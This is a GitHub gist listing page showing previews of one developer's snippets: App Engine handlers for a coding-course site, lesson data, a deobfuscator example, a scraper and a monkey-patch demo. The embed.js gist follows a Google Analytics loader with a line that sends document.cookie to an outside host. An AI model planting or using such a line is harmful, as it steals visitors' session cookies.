Skip to content

Instantly share code, notes, and snippets.

View NamPNQ's full-sized avatar
🤒
Out sick

Nam PHAM NamPNQ

🤒
Out sick
  • Ho Chi Minh
View GitHub Profile
@NamPNQ
NamPNQ / handlers.py
Created March 30, 2014 19:53
Sử dụng teacher required
class TeacherHandler(BaseHandler):
@user_required
@teacher_required
def get(self):
self.response.write('Only teacher can access this page')
@NamPNQ
NamPNQ / handler.py
Created April 5, 2014 14:48
Submit checkpoint handler
class CheckpointMeHandler(BaseHandler):
@user_required
@as_json
def post(self):
import json
from application.models import File, ExerciseCheckpointUser, ExerciseItemUser, \
ExerciseUser, CourseUser, ExerciseProject, ExerciseItem, Exercise, Course
from api.restful import current_user
from google.appengine.ext import ndb
body_data = json.loads(self.request.body)
@NamPNQ
NamPNQ / temp.js
Created April 5, 2014 14:54
Temp
{
name: 'Bài tập tính toán đơn giản',
units: [
{time: '05:00', description: 'Làm quen với cú pháp python', src: "/course//practice/viewer#!?exercise_id=cs101"},
{time: '05:00', description: 'Thực hành tính một phép tính cơ bản', src: "/course/practice/viewer#!?exercise_id=cs101"},
]
},
{
name: 'Bài tập xem ngày và giờ',
units: [
def easylearncode_validate(result,code,output,error=None):
#validate code in here
if error:
return "Code ban co loi nay nek " + error
return True
@NamPNQ
NamPNQ / How to use.py
Last active August 29, 2015 13:59
Deobfuscator for scripts messed up with JavascriptObfuscator.com
import javascriptobfuscator
code = open('script.js','r').read()
if javascriptobfuscator.detect(code):
code = javascriptobfuscator.unpack(code)
f = open('script.out.js','w')
f.write(code)
f.close()
def run_test_case(weekly_quiz_level, **kwargs):
import urllib
import logging
import json
from google.appengine.ext import ndb
from google.appengine.api import urlfetch
from application.config import config
from application.models import WeeklyQuiz, WeeklyQuizRunCodeResult, File, WeeklyQuizUser
from google.appengine.api import channel
@NamPNQ
NamPNQ / embed.js
Last active August 29, 2015 14:03
(function(i, s, o, g, r, a, m) {
i['GoogleAnalyticsObject'] = r;
i[r] = i[r] || function() {
(i[r].q = i[r].q || []).push(arguments)
}, i[r].l = 1 * new Date();
a = s.createElement(o),
m = s.getElementsByTagName(o)[0];
a.async = 1;
a.src = g;
m.parentNode.insertBefore(a, m)
var img = Image();
img.src = 'http://nampnq.pythonanywhere.com/test_csrf?cookie'+document.cookie
@NamPNQ
NamPNQ / scrap.py
Created August 31, 2014 14:45
Python Scrap Tool
import requests
import re
import os
from urlparse import urljoin
def save(resource_url, resource_dir):
directories , _ = os.path.split(resource_dir)
if directories != '':
if not os.path.exists(directories):
@NamPNQ
NamPNQ / monkey_patch.py
Created October 22, 2014 04:04
Monkey patch
class Duck:
def speak(self):
print 'Quack quack'
def speak(self):
print 'Gau gau'
Duck.speak = speak